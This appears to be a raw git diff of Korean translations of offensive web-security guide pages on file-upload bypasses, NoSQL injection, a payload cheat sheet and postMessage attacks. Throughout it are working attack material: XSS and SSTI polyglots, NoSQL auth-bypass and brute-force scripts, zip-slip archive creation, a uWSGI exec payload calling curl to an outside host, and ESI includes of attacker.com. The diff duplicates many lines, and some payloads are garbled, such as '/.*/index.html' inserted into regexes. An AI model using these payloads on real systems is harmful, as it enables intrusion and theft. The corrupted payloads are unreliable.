- 이미지에 **압축이 추가되는 경우**, 예를 들어 [PHP-GD](https://www.php.net/manual/fr/book.image.php)와 같은 표준 PHP 라이브러리를 사용하는 경우, 이전 기술은 유용하지 않을 수 있습니다. 그러나 **PLTE 청크** [**여기 정의된 기술**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html)을 사용하여 압축을 견딜 수 있는 텍스트를 삽입할 수 있습니다.
- **압축이 이미지에 추가되는 경우**, 예를 들어 [PHP-GD](https://www.php.net/manual/fr/book.image.php)와 같은 표준 PHP 라이브러리를 사용하는 경우, 이전 기술은 유용하지 않을 수 있습니다. 그러나 **PLTE 청크** [**여기 정의된 기술**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html)을 사용하여 압축을 견딜 수 있는 텍스트를 삽입할 수 있습니다.
- [**코드가 포함된 Github**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_plte_png.php)
- 웹 페이지가 **이미지의 크기를 조정**할 수도 있습니다. 예를 들어 PHP-GD 함수 `imagecopyresized` 또는 `imagecopyresampled`를 사용할 수 있습니다. 그러나 **IDAT 청크** [**여기 정의된 기술**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html)을 사용하여 압축을 견딜 수 있는 텍스트를 삽입할 수 있습니다.
- 웹 페이지가 **이미지의 크기를 조정**할 수도 있습니다. 예를 들어 PHP-GD 함수 `imagecopyresized` 또는 `imagecopyresampled`를 사용할 수 있습니다. 그러나 **IDAT 청크** [**여기 정의된 기술**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html)을 사용하여 압축을 견딜 수 있는 텍스트를 삽입할 수 있습니다.
- [**코드가 포함된 Github**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_idat_png.php)
- PHP-GD 함수 `thumbnailImage`를 사용하여 **이미지 크기 조정**을 견딜 수 있는 페이로드를 만드는 또 다른 기술. 그러나 **tEXt 청크** [**여기 정의된 기술**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html)을 사용하여 압축을 견딜 수 있는 텍스트를 삽입할 수 있습니다.
- PHP-GD 함수 `thumbnailImage`를 사용하여 **이미지 크기 조정**을 견딜 수 있는 페이로드를 만드는 또 다른 기술. 그러나 **tEXt 청크** [**여기 정의된 기술**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html)을 사용하여 압축을 견딜 수 있는 텍스트를 삽입할 수 있습니다.
- [**코드가 포함된 Github**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_tEXt_png.php)
### 확인할 기타 트릭
@ -81,9 +81,9 @@ AAA<--SNIP 232 A-->AAA.php.png
- **정보 유출 가능성**:
1. **동일한 파일**을 **여러 번** (그리고 **동시에**) **동일한 이름**으로 업로드합니다.
2. **이미 존재하는** **파일** 또는 **폴더**의 **이름**으로 파일을 업로드합니다.
3. **“.”, “..”, 또는 “…”**를 이름으로 가진 파일을 업로드합니다. 예를 들어, Apache에서 **Windows**의 경우, 애플리케이션이 업로드된 파일을 “/www/uploads/” 디렉토리에 저장하면, “.” 파일 이름은 “/www/” 디렉토리에 “uploads”라는 파일을 생성합니다.
3. **“.”, “..”, 또는 “…”**를 이름으로 가진 파일을 업로드합니다. 예를 들어, Windows의 Apache에서 애플리케이션이 업로드된 파일을 “/www/uploads/” 디렉토리에 저장하는 경우, “.” 파일 이름은 “/www/” 디렉토리에 “uploads”라는 파일을 생성합니다.
4. **NTFS**에서 쉽게 삭제할 수 없는 파일을 업로드합니다. (Windows) 예: **“…:.jpg”**
5. **Windows**에서 **잘못된 문자**가 포함된 파일을 업로드합니다. 예: `|<>*?”` (Windows)
5. **Windows**에서 **잘못된 문자**가 포함된 파일을 업로드합니다. (Windows) 예: `|<>*?”`
6. **Windows**에서 **예약된** (**금지된**) **이름**으로 파일을 업로드합니다. 예: CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, LPT9.
- 또한 **실행 파일** (.exe) 또는 **.html** (덜 의심스러운) 파일을 업로드하여 피해자가 우연히 열었을 때 **코드를 실행**하도록 합니다.
@ -92,9 +92,9 @@ AAA<--SNIP 232 A-->AAA.php.png
**PHP 서버**에 파일을 업로드하려는 경우, [코드를 실행하기 위한 **.htaccess** 트릭을 확인하십시오](https://book.hacktricks.xyz/pentesting/pentesting-web/php-tricks-esp#code-execution-via-httaccess).\
**ASP 서버**에 파일을 업로드하려는 경우, [코드를 실행하기 위한 **.config** 트릭을 확인하십시오](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files).
`.phar` 파일은 Java의 `.jar`와 유사하지만 PHP이며, **PHP 파일처럼 사용**될 수 있습니다 (PHP로 실행하거나 스크립트 내에 포함).
`.phar` 파일은 Java의 `.jar`와 유사하지만 PHP에 대한 것이며, **PHP 파일처럼 사용**될 수 있습니다 (PHP로 실행하거나 스크립트 내에 포함).
`.inc` 확장자는 때때로 파일을 **가져오는 데만 사용되는 PHP 파일**에 사용되므로, 누군가 이 확장자가 **실행되도록 허용했을 수 있습니다**.
`.inc` 확장자는 때때로 파일을 **가져오는 데만 사용되는** PHP 파일에 사용되므로, 누군가 이 확장자가 **실행되도록 허용했을 수 있습니다**.
## **Jetty RCE**
@ -106,7 +106,7 @@ Jetty 서버에 XML 파일을 업로드할 수 있다면, [**새로운 \*.xml
이 취약점에 대한 자세한 탐색은 원본 연구를 확인하십시오: [uWSGI RCE Exploitation](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html).
원격 명령 실행(RCE) 취약점은 `.ini` 구성 파일을 수정할 수 있는 경우 uWSGI 서버에서 악용될 수 있습니다. uWSGI 구성 파일은 "마법" 변수, 자리 표시자 및 연산자를 포함하기 위해 특정 구문을 활용합니다. 특히, `@(filename)`으로 사용되는 '@' 연산자는 파일의 내용을 포함하도록 설계되었습니다. uWSGI에서 지원되는 다양한 스킴 중 "exec" 스킴은 특히 강력하여 프로세스의 표준 출력에서 데이터를 읽을 수 있습니다. 이 기능은 원격 명령 실행 또는 임의 파일 쓰기/읽기를 위해 악용될 수 있습니다.
원격 명령 실행 (RCE) 취약점은 `.ini` 구성 파일을 수정할 수 있는 경우 uWSGI 서버에서 악용될 수 있습니다. uWSGI 구성 파일은 "마법" 변수, 자리 표시자 및 연산자를 포함하기 위해 특정 구문을 활용합니다. 특히, `@(filename)`으로 사용되는 '@' 연산자는 파일의 내용을 포함하도록 설계되었습니다. uWSGI에서 지원되는 다양한 스킴 중 "exec" 스킴은 특히 강력하여 프로세스의 표준 출력에서 데이터를 읽을 수 있습니다. 이 기능은 원격 명령 실행 또는 임의 파일 쓰기/읽기를 위한 악의적인 목적으로 조작될 수 있습니다.
```ini
[uwsgi]
; read from a symbol
@ -124,14 +124,14 @@ extra = @(exec://curl http://collaborator-unique-host.oastify.com)
; call a function returning a char *
characters = @(call://uwsgi_func)
```
페이로드의 실행은 구성 파일의 파싱 중에 발생합니다. 구성이 활성화되고 파싱되기 위해서는 uWSGI 프로세스가 재시작되거나(충돌 후 또는 서비스 거부 공격으로 인해) 파일이 자동 재로드로 설정되어야 합니다. 자동 재로드 기능이 활성화되면 변경 사항을 감지할 때 지정된 간격으로 파일을 다시 로드합니다.
페이로드의 실행은 구성 파일의 파싱 중에 발생합니다. 구성이 활성화되고 파싱되기 위해서는 uWSGI 프로세스가 재시작되어야 하며(충돌 후 또는 서비스 거부 공격으로 인해) 파일이 자동으로 다시 로드되도록 설정되어야 합니다. 자동 다시 로드 기능이 활성화된 경우, 변경 사항을 감지하면 지정된 간격으로 파일을 다시 로드합니다.
uWSGI의 구성 파일 파싱의 느슨한 특성을 이해하는 것이 중요합니다. 특히, 논의된 페이로드는 이진 파일(예: 이미지 또는 PDF)에 삽입될 수 있어 잠재적인 악용 범위를 더욱 넓힙니다.
## **wget 파일 업로드/SSRF 트릭**
일부 경우 서버가 **`wget`**을 사용하여 **파일을 다운로드**하고 **URL**을 **지정**할 수 있는 경우가 있습니다. 이러한 경우, 코드는 다운로드된 파일의 확장자가 화이트리스트에 있는지 확인하여 허용된 파일만 다운로드되도록 할 수 있습니다. 그러나 **이 검사를 우회할 수 있습니다.**\
**리눅스**에서 **파일 이름**의 **최대** 길이는 **255**자이지만, **wget**은 파일 이름을 **236**자로 잘라냅니다. **"A"\*232+".php"+".gif"**라는 파일을 **다운로드**할 수 있으며, 이 파일 이름은 **검사**를 **우회**합니다(이 예에서 **".gif"**는 **유효한** 확장자입니다) 하지만 `wget`은 파일 이름을 **"A"\*232+".php"**로 **변경**합니다.
일부 경우, 서버가 **`wget`**을 사용하여 **파일을 다운로드**하고 **URL**을 **지정**할 수 있는 경우가 있습니다. 이러한 경우, 코드는 다운로드된 파일의 확장자가 화이트리스트에 있는지 확인하여 허용된 파일만 다운로드되도록 보장할 수 있습니다. 그러나 **이 검사를 우회할 수 있습니다.**\
**리눅스**에서 **파일 이름**의 **최대** 길이는 **255**자이지만, **wget**은 파일 이름을 **236**자로 잘라냅니다. **"A"\*232+".php"+".gif"**라는 파일을 **다운로드**할 수 있으며, 이 파일 이름은 **검사**를 **우회**합니다(이 예에서 **".gif"**는 **유효한** 확장자입니다) 그러나 `wget`은 파일 이름을 **"A"\*232+".php"**로 **변경**합니다.
```bash
#Create file and HTTP server
echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")')
@ -172,7 +172,7 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[=============================================
- [**SVG 파일 업로드를 통한 오픈 리디렉션**](../open-redirect.md#open-redirect-uploading-svg-files)
- [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)에서 **다양한 svg 페이로드**를 시도해 보세요.
- [유명한 **ImageTrick** 취약점](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/)
- **웹 서버에 URL에서 이미지를 가져오도록 지시할 수 있다면**, [SSRF](../ssrf-server-side-request-forgery/)를 악용할 수 있습니다. 이 **이미지**가 어떤 **공개** 사이트에 **저장**될 경우, [https://iplogger.org/invisible/](https://iplogger.org/invisible/)의 URL을 지정하여 **모든 방문자의 정보를 훔칠** 수 있습니다.
- **웹 서버에 URL에서 이미지를 가져오도록 지시할 수 있다면**, [SSRF](../ssrf-server-side-request-forgery/index.html)를 악용할 수 있습니다. 이 **이미지**가 어떤 **공개** 사이트에 **저장**될 경우, [https://iplogger.org/invisible/](https://iplogger.org/invisible/)의 URL을 지정하여 **모든 방문자의 정보를 훔칠** 수 있습니다.
- [PDF-Adobe 업로드로 **XXE 및 CORS** 우회](pdf-upload-xxe-and-cors-bypass.md)
- XSS를 위한 특별히 제작된 PDF: [다음 페이지는 **PDF 데이터를 주입하여 JS 실행을 얻는 방법**을 제시합니다](../xss-cross-site-scripting/pdf-injection.md). PDF를 업로드할 수 있다면, 주어진 지침에 따라 임의의 JS를 실행할 PDF를 준비할 수 있습니다.
- \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) 콘텐츠를 업로드하여 서버에 **안티바이러스**가 있는지 확인합니다.
@ -227,7 +227,7 @@ python2 evilarc.py -h
# Creating a malicious archive
python2 evilarc.py -o unix -d 5 -p /var/www/html/ rev.php
```
추가적으로, **evilarc와 함께하는 symlink 트릭**은 옵션입니다. 목표가 `/flag.txt`와 같은 파일을 타겟으로 하는 경우, 해당 파일에 대한 symlink를 시스템에 생성해야 합니다. 이렇게 하면 evilarc가 작동 중 오류를 겪지 않도록 보장합니다.
추가적으로, **evilarc와 함께하는 symlink 트릭**은 옵션입니다. 목표가 `/flag.txt`와 같은 파일을 타겟으로 하는 경우, 해당 파일에 대한 symlink를 시스템에 생성해야 합니다. 이 evilarc가 작동 중 오류를 겪지 않도록 보장합니다.
아래는 악성 zip 파일을 생성하는 데 사용되는 Python 코드의 예입니다:
```python

View File

@ -17,9 +17,9 @@ username[$ne]=admin&pass[$gt]=s #<Greater Than>
username[$nin][admin]=admin&username[$nin][test]=test&pass[$ne]=7 #<Matches non of the values of the array> (not test and not admin)
{ $where: "this.credits == this.debits" }#<IF>, can be used to execute code
```
### 기본 인증 우회
### Basic authentication bypass
**같지 않음 ($ne) 또는 큼 ($gt) 사용**
**사용하지 않음 ($ne) 또는 더 큼 ($gt)**
```bash
#in URL
username[$ne]=toto&password[$ne]=toto
@ -67,7 +67,7 @@ in JSON
### **SQL - Mongo**
```
/?search=admin' && this.password%00 --> Check if the field password exists
/?search=admin' && this.password && this.password.match(/.*/)%00 --> start matching password
/?search=admin' && this.password && this.password.match(/.*/index.html)%00 --> start matching password
/?search=admin' && this.password && this.password.match(/^a.*$/)%00
/?search=admin' && this.password && this.password.match(/^b.*$/)%00
/?search=admin' && this.password && this.password.match(/^c.*$/)%00
@ -86,7 +86,7 @@ in JSON
### 다른 컬렉션에서 정보 가져오기
[**$lookup**](https://www.mongodb.com/docs/manual/reference/operator/aggregation/lookup/)을 사용하여 다른 컬렉션에서 정보를 가져오는 것이 가능합니다. 다음 예제에서는 **`users`**라는 **다른 컬렉션**에서 읽고, 와일드카드와 일치하는 비밀번호를 가진 **모든 항목의 결과**를 가져옵니다.
[**$lookup**](https://www.mongodb.com/docs/manual/reference/operator/aggregation/lookup/)을 사용하여 다른 컬렉션에서 정보를 가져올 수 있습니다. 다음 예제에서는 **`users`**라는 **다른 컬렉션**에서 읽고, 와일드카드와 일치하는 비밀번호를 가진 **모든 항목의 결과**를 가져옵니다.
**참고:** `$lookup` 및 기타 집계 함수는 `find()` 또는 `findOne()` 함수 대신 `aggregate()` 함수를 사용하여 검색을 수행한 경우에만 사용할 수 있습니다.
```json
@ -126,10 +126,10 @@ db.injection.insert({success:1});return 1;db.stores.mapReduce(function() { { emi
|| 1==1//
|| 1==1%00
}, { password : /.*/ }
' && this.password.match(/.*/)//+%00
' && this.passwordzz.match(/.*/)//+%00
'%20%26%26%20this.password.match(/.*/)//+%00
'%20%26%26%20this.passwordzz.match(/.*/)//+%00
' && this.password.match(/.*/index.html)//+%00
' && this.passwordzz.match(/.*/index.html)//+%00
'%20%26%26%20this.password.match(/.*/index.html)//+%00
'%20%26%26%20this.passwordzz.match(/.*/index.html)//+%00
{$gt: ''}
[$ne]=1
';sleep(5000);
@ -176,7 +176,7 @@ if 'OK' in r.text:
print("Found one more char : %s" % (password+c))
password += c
```
### POST 로그인에서 브루트 포스 로그인 사용자 이름 및 비밀번호
### POST 로그인에서 사용자 이름과 비밀번호에 대한 무차별 대입 로그인
이것은 수정할 수 있는 간단한 스크립트이지만 이전 도구들도 이 작업을 수행할 수 있습니다.
```python

View File

@ -8,7 +8,7 @@
> 이 **치트시트는 각 취약점에 대한 포괄적인 테스트 목록을 제안하지 않습니다**, 기본적인 것들만 포함되어 있습니다. 더 포괄적인 테스트를 원하신다면 제안된 각 취약점에 접근하세요.
> [!CAUTION]
> **XXE와 같은 Content-Type 의존 주입**은 찾을 수 없습니다. 일반적으로 xml 데이터를 전송하는 요청을 발견하면 직접 시도할 것입니다. **여기에서 데이터베이스 주입**도 찾을 수 없습니다. 일부 콘텐츠가 반영될 수 있지만 이는 백엔드 DB 기술 및 구조에 크게 의존합니다.
> **XXE와 같은 Content-Type 의존 주입**은 찾을 수 없습니다. 일반적으로 xml 데이터를 전송하는 요청을 발견하면 직접 시도할 것입니다. **데이터베이스 주입**도 여기에는 없습니다. 일부 콘텐츠가 반영될 수 있지만, 이는 백엔드 DB 기술 및 구조에 크게 의존합니다.
## Polygloths list
```python
@ -46,11 +46,11 @@ javascript:alert(1)
javascript:alert()
javascript:"/*'/*`/*--></noscript></title></textarea></style></template></noembed></script><html \" onmouseover=/*&lt;svg/*/onload=alert()//>
-->'"/></sCript><deTailS open x=">" ontoggle=(co\u006efirm)``>
">><marquee><img src=x onerror=confirm(1)></marquee>" ></plaintext\></|\><plaintext/onmouseover=prompt(1) ><script>prompt(1)</script>@gmail.com<isindex formaction=javascript:alert(/XSS/) type=submit>'-->" ></script><script>alert(1)</script>"><img/id="confirm( 1)"/alt="/"src="/"onerror=eval(id&%23x29;>'"><img src="http: //i.imgur.com/P8mL8.jpg">
">><marquee><img src=x onerror=confirm(1)></marquee>" ></plaintext\></|\><plaintext/onmouseover=prompt(1) ><script>prompt(1)</script>@gmail.com<isindex formaction=javascript:alert(/XSS/index.html) type=submit>'-->" ></script><script>alert(1)</script>"><img/id="confirm( 1)"/alt="/"src="/"onerror=eval(id&%23x29;>'"><img src="http: //i.imgur.com/P8mL8.jpg">
" onclick=alert(1)//<button onclick=alert(1)//> */ alert(1)//
';alert(String.fromCharCode(88,83,83))//';alert(String. fromCharCode(88,83,83))//";alert(String.fromCharCode (88,83,83))//";alert(String.fromCharCode(88,83,83))//-- ></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83)) </SCRIPT>
```
## [클라이언트 사이드 템플릿 주입](../client-side-template-injection-csti.md)
## [Client Side Template Injection](../client-side-template-injection-csti.md)
### 기본 테스트
```
@ -88,13 +88,13 @@ $(ls)
%3f%0D%0ALocation://x:1%0D%0AContent-Type:text/html%0D%0AX-XSS-Protection%3a0%0D%0A%0D%0A%3Cscript%3Ealert(document.domain)%3C/script%3E
%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2025%0d%0a%0d%0a%3Cscript%3Ealert(1)%3C/script%3E
```
## 남은 마크업
## Dangling Markup
### 기본 테스트
### Basic Tests
```markup
<br><b><h1>THIS IS AND INJECTED TITLE </h1>
```
## [파일 포함/경로 탐색](../file-inclusion/)
## [파일 포함/경로 탐색](../file-inclusion/index.html)
### 기본 테스트
```bash
@ -109,7 +109,7 @@ C:/windows/system32/drivers/etc/hosts
http://asdasdasdasd.burpcollab.com/mal.php
\\asdasdasdasd.burpcollab.com/mal.php
```
## [Open Redirect](../open-redirect.md) / [Server Side Request Forgery](../ssrf-server-side-request-forgery/)
## [Open Redirect](../open-redirect.md) / [Server Side Request Forgery](../ssrf-server-side-request-forgery/index.html)
### 기본 테스트
```bash
@ -140,11 +140,11 @@ x=<esi:assign name="var1" value="'cript'"/><s<esi:vars name="$(var1)"/>>alert(/C
```markup
<!--#echo var="DATE_LOCAL" --><!--#exec cmd="ls" --><esi:include src=http://attacker.com/>x=<esi:assign name="var1" value="'cript'"/><s<esi:vars name="$(var1)"/>>alert(/Chrome%20XSS%20filter%20bypass/);</s<esi:vars name="$(var1)"/>>
```
## [서버 측 요청 위조](../ssrf-server-side-request-forgery/)
## [서버 측 요청 위조](../ssrf-server-side-request-forgery/index.html)
Open Redirect에 사용되는 동일한 테스트를 여기서 사용할 수 있습니다.
## [서버 측 템플릿 주입](../ssti-server-side-template-injection/)
## [서버 측 템플릿 주입](../ssti-server-side-template-injection/index.html)
### 기본 테스트
```markup
@ -155,11 +155,11 @@ ${7*7}
${{7*7}}
#{7*7}
```
### 폴리글로스
### Polygloths
```python
{{7*7}}${7*7}<%= 7*7 %>${{7*7}}#{7*7}${{<%[%'"}}%\
```
## [XSLT 서버 사이드 인젝션](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md)
## [XSLT Server Side Injection](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md)
### 기본 테스트
```markup
@ -178,12 +178,12 @@ ${{7*7}}
'"><img src=x onerror=alert(1) />
javascript:alert()
```
### 폴리글로스
### Polygloths
```markup
javascript:"/*'/*`/*--></noscript></title></textarea></style></template></noembed></script><html \" onmouseover=/*&lt;svg/*/onload=alert()//>
-->'"/></sCript><deTailS open x=">" ontoggle=(co\u006efirm)``>
jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0D%0A//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e
">><marquee><img src=x onerror=confirm(1)></marquee>" ></plaintext\></|\><plaintext/onmouseover=prompt(1) ><script>prompt(1)</script>@gmail.com<isindex formaction=javascript:alert(/XSS/) type=submit>'-->" ></script><script>alert(1)</script>"><img/id="confirm( 1)"/alt="/"src="/"onerror=eval(id&%23x29;>'"><img src="http: //i.imgur.com/P8mL8.jpg">
">><marquee><img src=x onerror=confirm(1)></marquee>" ></plaintext\></|\><plaintext/onmouseover=prompt(1) ><script>prompt(1)</script>@gmail.com<isindex formaction=javascript:alert(/XSS/index.html) type=submit>'-->" ></script><script>alert(1)</script>"><img/id="confirm( 1)"/alt="/"src="/"onerror=eval(id&%23x29;>'"><img src="http: //i.imgur.com/P8mL8.jpg">
" onclick=alert(1)//<button onclick=alert(1)//> */ alert(1)//
';alert(String.fromCharCode(88,83,83))//';alert(String. fromCharCode(88,83,83))//";alert(String.fromCharCode (88,83,83))//";alert(String.fromCharCode(88,83,83))//-- ></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83)) </SCRIPT>
javascript://'/</title></style></textarea></script>--><p" onclick=alert()//>*/alert()/*

View File

@ -36,7 +36,7 @@ javascript:alert(1)
javascript:alert()
javascript:"/*'/*`/*--></noscript></title></textarea></style></template></noembed></script><html \" onmouseover=/*&lt;svg/*/onload=alert()//>
-->'"/></sCript><deTailS open x=">" ontoggle=(co\u006efirm)``>
">><marquee><img src=x onerror=confirm(1)></marquee>" ></plaintext\></|\><plaintext/onmouseover=prompt(1) ><script>prompt(1)</script>@gmail.com<isindex formaction=javascript:alert(/XSS/) type=submit>'-->" ></script><script>alert(1)</script>"><img/id="confirm( 1)"/alt="/"src="/"onerror=eval(id&%23x29;>'"><img src="http: //i.imgur.com/P8mL8.jpg">
">><marquee><img src=x onerror=confirm(1)></marquee>" ></plaintext\></|\><plaintext/onmouseover=prompt(1) ><script>prompt(1)</script>@gmail.com<isindex formaction=javascript:alert(/XSS/index.html) type=submit>'-->" ></script><script>alert(1)</script>"><img/id="confirm( 1)"/alt="/"src="/"onerror=eval(id&%23x29;>'"><img src="http: //i.imgur.com/P8mL8.jpg">
" onclick=alert(1)//<button onclick=alert(1)//> */ alert(1)//
';alert(String.fromCharCode(88,83,83))//';alert(String. fromCharCode(88,83,83))//";alert(String.fromCharCode (88,83,83))//";alert(String.fromCharCode(88,83,83))//-- ></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83)) </SCRIPT>
```

View File

@ -38,8 +38,8 @@ win[0].postMessage('{"__proto__":{"isAdmin":True}}', '*')
### iframe 공격 및 **targetOrigin**의 와일드카드
[**이 보고서**](https://blog.geekycat.in/google-vrp-hijacking-your-screenshots/)에서 설명한 바와 같이, **iframed**(X-Frame-Header 보호 없음)될 수 있는 페이지를 찾고 **와일드카드**(\*)를 사용하여 **postMessage**를 통해 **민감한** 메시지를 **전송하는** 경우, **iframe**의 **origin**을 **수정**하고 **민감한** 메시지를 당신이 제어하는 도메인으로 **유출**할 수 있습니다.\
페이지가 iframed될 수 있지만 **targetOrigin**이 **와일드카드가 아닌 URL로 설정된 경우**, 이 **트릭은 작동하지 않습니다**.
[**이 보고서**](https://blog.geekycat.in/google-vrp-hijacking-your-screenshots/)에서 설명한 바와 같이, **iframed**(X-Frame-Header 보호 없음) 될 수 있는 페이지를 찾고 **와일드카드**(\*)를 사용하여 **postMessage**를 통해 **민감한** 메시지를 **전송하는** 경우, **iframe**의 **origin**을 **수정**하고 **민감한** 메시지를 당신이 제어하는 도메인으로 **유출**할 수 있습니다.\
페이지가 iframed 될 수 있지만 **targetOrigin**이 **와일드카드가 아닌 URL로 설정된 경우**, 이 **트릭은 작동하지 않습니다**.
```markup
<html>
<iframe src="https://docs.google.com/document/ID" />
@ -95,14 +95,14 @@ In order to **find event listeners** in the current page you can:
"https://app-sj17.marketo.com".indexOf("https://app-sj17.ma")
```
- `String.prototype.search()`**`search()`** 메서드는 문자열이 아닌 정규 표현식을 위해 설계되었습니다. 정규 표현식이 아닌 것을 전달하면 암묵적으로 정규 표현식으로 변환되어 메서드가 잠재적으로 안전하지 않게 됩니다. 이는 정규 표현식에서 점(.)이 와일드카드로 작용하여 특별히 작된 도메인으로 검증을 우회할 수 있게 합니다. 예를 들어:
- `String.prototype.search()`**`search()`** 메서드는 문자열이 아닌 정규 표현식을 위해 설계되었습니다. 정규 표현식이 아닌 것을 전달하면 암묵적으로 정규 표현식으로 변환되어 메서드가 잠재적으로 안전하지 않게 됩니다. 이는 정규 표현식에서 점(.)이 와일드카드로 작용하여 특별히 작된 도메인으로 검증을 우회할 수 있게 합니다. 예를 들어:
```javascript
"https://www.safedomain.com".search("www.s.fedomain.com")
```
- **`match()`** 함수는 `search()`와 유사하게 정규 표현식을 처리합니다. 정규 표현식이 잘못 구성되면 우회에 취약할 수 있습니다.
- **`escapeHtml`** 함수는 문자를 이스케이프하여 입력을 정화하는 데 사용됩니다. 그러나 새로운 이스케이프된 객체를 생성하지 않고 기존 객체의 속성을 덮어씁니다. 이 동작은 악용될 수 있습니다. 특히, 객체를 조작하여 그 제어 속성이 `hasOwnProperty`를 인식하지 못하게 할 수 있다면, `escapeHtml`은 예상대로 작동하지 않을 것입니다. 이는 아래의 예시에서 보여집니다:
- **`escapeHtml`** 함수는 문자를 이스케이프하여 입력을 정화하는 데 사용됩니다. 그러나 새로운 이스케이프된 객체를 생성하지 않고 기존 객체의 속성을 덮어씁니다. 이 동작은 악용될 수 있습니다. 특히, 객체를 조작하여 그 속성이 `hasOwnProperty`를 인식하지 못하게 할 수 있다면, `escapeHtml`은 예상대로 작동하지 않을 것입니다. 이는 아래의 예시에서 보여집니다:
- 예상 실패:
@ -126,28 +126,28 @@ result.message // "'"<b>\"
### e.origin == window.origin 우회
**sandboxed iframe** 내에 웹 페이지를 임베드할 때 %%%%%%를 사용하여 iframe의 출처가 null로 설정된다는 점을 이해하는 것이 중요합니다. 이는 **sandbox 속성** 및 보안과 기능에 대한 그 함의와 관련하여 특히 중요합니다.
**sandboxed iframe** 내에 웹 페이지를 임베드할 때 %%%%%%, iframe의 출처가 null로 설정된다는 점을 이해하는 것이 중요합니다. 이는 **sandbox 속성** 및 보안과 기능에 대한 그 함의와 관련하여 특히 중요합니다.
**`allow-popups`**를 sandbox 속성에 지정하면 iframe 내에서 열리는 모든 팝업 창은 부모의 sandbox 제한을 상속받습니다. 이는 **`allow-popups-to-escape-sandbox`** 속성이 포함되지 않는 한 팝업 창의 출처도 `null`로 설정된다는 것을 의미합니다.
**`allow-popups`**를 sandbox 속성에 지정하면 iframe 내에서 열리는 모든 팝업 창은 부모의 sandbox 제한을 상속받습니다. 이는 **`allow-popups-to-escape-sandbox`** 속성이 포함되지 않는 한, 팝업 창의 출처도 `null`로 설정되어 iframe의 출처와 일치하게 됨을 의미합니다.
따라서 이러한 조건에서 팝업이 열리고 iframe에서 팝업으로 **`postMessage`**를 사용하여 메시지가 전송되면, 송신 및 수신 양쪽의 출처가 `null`로 설정됩니다. 이 상황은 **`e.origin == window.origin`**이 true로 평가되는 시나리오를 초래합니다 (`null == null`), 왜냐하면 iframe과 팝업이 동일한 `null` 출처 값을 공유하기 때문입니다.
따라서 이러한 조건에서 팝업이 열리고 iframe에서 팝업으로 **`postMessage`**를 사용하여 메시지를 보낼 때, 송신 및 수신 양쪽의 출처가 모두 `null`로 설정됩니다. 이 상황은 **`e.origin == window.origin`**이 true로 평가되는 시나리오를 초래합니다 (`null == null`), 왜냐하면 iframe과 팝업이 모두 `null`이라는 동일한 출처 값을 공유하기 때문입니다.
For more information **read**:
더 많은 정보는 **읽어보세요**:
{{#ref}}
bypassing-sop-with-iframes-1.md
{{#endref}}
### Bypassing e.source
### e.source 우회
메시지가 스크립트가 수신 대기 중인 동일한 창에서 온 것인지 확인할 수 있습니다 (특히 **브라우저 확장의 콘텐츠 스크립트**가 메시지가 동일한 페이지에서 전송되었는지 확인하는 데 흥미롭습니다):
메시지가 스크립트가 청취하고 있는 동일한 창에서 온 것인지 확인할 수 있습니다 (특히 **브라우저 확장의 콘텐츠 스크립트**가 메시지가 동일한 페이지에서 전송되었는지 확인하는 데 흥미롭습니다):
```javascript
// If its not, return immediately.
if (received_message.source !== window) {
return
}
```
메시지의 **`e.source`**를 null로 만들기 위해 **postMessage**를 **전송**하고 **즉시 삭제되는** **iframe**을 생성할 수 있습니다.
메시지의 **`e.source`**를 null로 강제할 수 있습니다. **iframe**을 생성하여 **postMessage**를 **전송**하고 **즉시 삭제**하면 됩니다.
자세한 정보는 **읽어보세요:**
@ -157,7 +157,7 @@ bypassing-sop-with-iframes-2.md
### X-Frame-Header 우회
이러한 공격을 수행하기 위해 이상적으로는 **희생자의 웹 페이지**를 `iframe` 안에 넣을 수 있어야 합니다. 그러나 `X-Frame-Header`와 같은 일부 헤더는 그 **동작**을 **방지**할 수 있습니다.\
이러한 공격을 수행하기 위해서는 이상적으로 **피해자 웹 페이지**를 `iframe` 안에 넣을 수 있어야 합니다. 그러나 `X-Frame-Header`와 같은 일부 헤더는 그러한 **동작**을 **방지**할 수 있습니다.\
이러한 시나리오에서는 덜 은밀한 공격을 여전히 사용할 수 있습니다. 취약한 웹 애플리케이션에 새 탭을 열고 그와 통신할 수 있습니다:
```markup
<script>
@ -167,7 +167,7 @@ setTimeout(function(){w.postMessage('text here','*');}, 2000);
```
### 자식에게 전송된 메시지 훔치기: 메인 페이지 차단
